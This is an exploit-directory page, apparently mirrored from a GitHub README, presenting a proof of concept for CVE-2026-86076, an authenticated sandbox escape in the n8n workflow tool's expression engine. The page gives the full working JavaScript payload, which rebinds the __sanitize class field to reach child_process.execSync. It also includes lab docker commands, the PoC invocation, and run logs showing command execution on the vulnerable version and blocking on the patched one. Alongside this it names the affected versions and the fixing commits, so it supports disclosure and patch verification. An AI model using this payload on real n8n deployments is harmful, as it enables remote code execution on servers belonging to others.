Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-86076-PoC — CVE-2026-86076 — クラスフィールドの __sanitize 再バインドによる n8n 式サンドボックスエスケープ(バックエンドRCE)。v2.37.6(uid=node)/ v2.37.7 で検証済み。 | Kitploit
ツール/GitHubGitHub/boreas37/cve-2026-86076-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用リモートアクセスツールペイロード開発
GitHubboreas37/cve-2026-86076-poc

CVE-2026-86076-PoC

CVE-2026-86076 — クラスフィールドの __sanitize 再バインドによる n8n 式サンドボックスエスケープ(バックエンドRCE)。v2.37.6(uid=node)/ v2.37.7 で検証済み。

リポジトリを見る
111211日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-86076 — クラスフィールドの再バインディングによる n8n 式サンドボックスエスケープ

n8n バックエンドプロセスにおける認証済み(ワークフロー編集権限)のコード実行。式コンパイラは計算されたメンバーアクセスごとに this.__sanitize(key) を注入するが、__sanitize という名前のクラスフィールドがクラス本体の残りの部分でそのサニタイザーを再バインドしてしまい、constructor を通して実際の Function コンストラクタに到達する → process.mainModule.require('child_process')。

  • CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 影響範囲: < 1.123.76、>= 2.0.0 < 2.37.7、>= 2.38.0 < 2.38.2
  • 修正済み: 1.123.76 / 2.37.7 / 2.38.2
  • 修正コミット: 184584828610("chore: Bundle 2.x (backport to release-candidate/2.37.x)"、#37588) → packages/workflow/src/expression-sandboxing.ts(visitClassBody が予約されたメンバー名を拒否)および packages/@n8n/tournament/src/ExpressionBuilder.ts(___n8n_data が this ではなくレキシカルバインディングに変更)。

根本原因

PrototypeSanitizer(AST のアフターフック)は次のように書き換える

[]['constr' + 'uctor']        →   [][this.__sanitize('constr' + 'uctor')]

dataNode は式のデータオブジェクトです。式に関数リテラルが含まれていない場合、dataNode はレキシカルな ___n8n_data ではなく this として出力されます:

// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }

クラスフィールド初期化子の内部では this はインスタンスであるため、__sanitize という名前のフィールドがサニタイザ呼び出しを乗っ取ります。パススルーの代替実装で十分です — [].concat.bind([]) は ['constructor'] を返し、obj[['constructor']] はキー constructor に強制変換されます:

(new (class {
   __sanitize = [].concat.bind([]);
   x = []['constr'+'uctor']['constr'+'uctor']('return process')()
        ['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x

出力されるコード(実際のコンパイラを使用してコンテナ内で検証済み):

return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...

パッチ適用前は、__sanitize というクラスメンバーを拒否するものは何もありませんでした (RESERVED_VARIABLE_NAMES はバインドされた識別子に対してのみチェックされていました)。

エンジンに関する注意(重要)

このペイロードにはインプロセス式エンジンが必要です:

environment:
  - N8N_EXPRESSION_ENGINE=legacy

デフォルトの vm エンジンでは、同じ式が依然として AST サニタイザーを回避します([]['constr'+'uctor'] はもはやブロックされない — 検証済み)。しかし、コードは isolated-vm アイソレート内で実行され、そこには process.mainModule が存在しないため、ホスト側のコード実行には至りません。2.37.7 は両方のエンジンでこの式を拒否します。

ラボ

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076      -f docker-compose.2376.yml up -d   # n8nio/n8n:2.37.6  -> :20002
docker compose -p poc-n8n-cve86076-fix  -f docker-compose.2377.yml up -d   # n8nio/n8n:2.37.7  -> :20003

Both files pin N8N_EXPRESSION_ENGINE=legacy, SQLite, bind-mounted ./data-*. The PoC creates the owner account itself (POST /rest/owner/setup + /rest/login).

Run

python3 n8n_poc.py --url http://127.0.0.1:20002 \
  --command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'

脆弱性あり — n8nio/n8n:2.37.6 (run_vulnerable_2.37.6.txt)

[*] target   : http://127.0.0.1:20002
[*] version  : undisclosed
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
    uid=1000(node) gid=1000(node) groups=1000(node)
    -rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0

コンテナから読み戻された副作用 (side_effect_2.37.6.txt):

-rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)

パッチ適用済み — n8nio/n8n:2.37.7 (run_patched_2.37.7.txt)

[*] target   : http://127.0.0.1:20003
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1
$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory

証拠チャネル

コマンドの stdout は execSync(...).toString() によって Set ノードの値として返され、 GET /rest/executions/<id>?includeData=true から読み戻されます(n8n の「flatted」ペイロードで、 スクリプト内でデコードされます)。ディスク上の副作用(/tmp/PWNED_86076)はさらに docker exec で確認されました。

ファイル

ファイル内容
n8n_poc.py標準ライブラリのみの PoC(--url --email --password --command --cve --output)
run_vulnerable_2.37.6.txt, run_patched_2.37.7.txt生の実行ログ
evidence_vulnerable_2.37.6.json, evidence_patched_2.37.7.jsonJSON 証拠
side_effect_2.37.6.txt, side_effect_2.37.7.txtコンテナ側の確認
docker_logs_2.37.6.txt, docker_logs_2.37.7.txtコンテナログ
ツールをダウンロード